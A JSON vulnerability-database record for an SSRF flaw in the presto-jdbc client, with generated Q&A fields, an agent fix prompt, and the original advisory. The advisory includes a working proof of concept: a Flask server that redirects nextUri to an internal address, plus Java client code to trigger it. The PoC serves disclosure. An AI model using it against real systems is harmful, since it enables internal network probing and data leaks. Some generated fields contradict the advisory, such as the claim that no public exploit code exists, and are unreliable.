{"answers":{"affected":"2 open source packages ship an affected version, including com.facebook.presto:presto-jdbc.","exploited":"There is no known exploitation of GHSA-86q5-qcjc-7pv4 in the wild and no public exploit code.","fix":"No fix has been published for GHSA-86q5-qcjc-7pv4 yet. Limit exposure of the affected software until one is available.","what":"GHSA-86q5-qcjc-7pv4 is a server-side request forgery vulnerability in com.facebook.presto:presto-jdbc, published on 3 Oct 2023. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-86q5-qcjc-7pv4 and fix it if it is affected.\n\nWhat it is: GHSA-86q5-qcjc-7pv4 is a server-side request forgery vulnerability in com.facebook.presto:presto-jdbc, published on 3 Oct 2023. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-86q5-qcjc-7pv4 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- com.facebook.presto:presto-jdbc (Maven): affected all versions up to 0.283; no fix listed\n- com.facebook.presto:presto-jdbc (Maven): affected all versions up to 0.283; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-86q5-qcjc-7pv4/ (Markdown: https://insights.sbomify.com/GHSA-86q5-qcjc-7pv4/index.md)","id":"GHSA-86q5-qcjc-7pv4","markdown":"https://insights.sbomify.com/GHSA-86q5-qcjc-7pv4/index.md","name":"GHSA-86q5-qcjc-7pv4","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["data_read","denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Presto JDBC client","requires_auth":"none","summary":"A malicious Presto server can trigger SSRF in the JDBC client, allowing attackers to access internal services and leak sensitive data.","user_interaction":"not_required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nThe Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` .\n\nThe flowchart is as follows:\n\n\u003cimg src=\"https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png\" alt=\"presto_jdbc_ssrf_2.png\" style=\"zoom:50%;\" /\u003e\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, Response\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef next_uri_to_interal_server():\n    data = '{\"id\":\"test_id\",\"infoUri\":\"whatever\",\"nextUri\":\"http://127.0.0.1:8888\",\"stats\":{\"state\":\"QUEUED\",\"queued\":true,\"scheduled\":false,\"nodes\":0,\"totalSplits\":0,\"queuedSplits\":0,\"runningSplits\":0,\"completedSplits\":0,\"cpuTimeMillis\":0,\"wallTimeMillis\":0,\"queuedTimeMillis\":0,\"elapsedTimeMillis\":0,\"processedRows\":0,\"processedBytes\":0,\"peakMemoryBytes\":0,\"peakTotalMemoryBytes\":0,\"peakTaskTotalMemoryBytes\":0,\"spilledBytes\":0},\"warnings\":[]}'\n    return Response(data, content_type='application/json; charset=utf-8', status=200)\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://\u003cip\u003e:\u003cport\u003e\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n    Connection connection = DriverManager.getConnection(url, properties);\n    Statement stmt = connection.createStatement();\n    ResultSet res = stmt.executeQuery(\"show catalogs\");\n    while(res.next()) {\n        System.out.println(res.getString(1));\n    }\n} catch (Exception e) {\n    e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable,  an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Presto JDBC Server-Side Request Forgery by nextUri","id":"GHSA-86q5-qcjc-7pv4","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"ssrf","year":"2023"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.283"],"package":"com.facebook.presto:presto-jdbc","purl":null,"source":"GHSA-86q5-qcjc-7pv4"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.283"],"package":"com.facebook.presto:presto-jdbc","purl":"pkg:maven/com.facebook.presto/presto-jdbc","source":"GHSA-86q5-qcjc-7pv4"}],"products":null,"published":"2023-10-03","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"A malicious Presto server can trigger SSRF in the JDBC client, allowing attackers to access internal services and leak sensitive data.","url":"https://insights.sbomify.com/GHSA-86q5-qcjc-7pv4/"}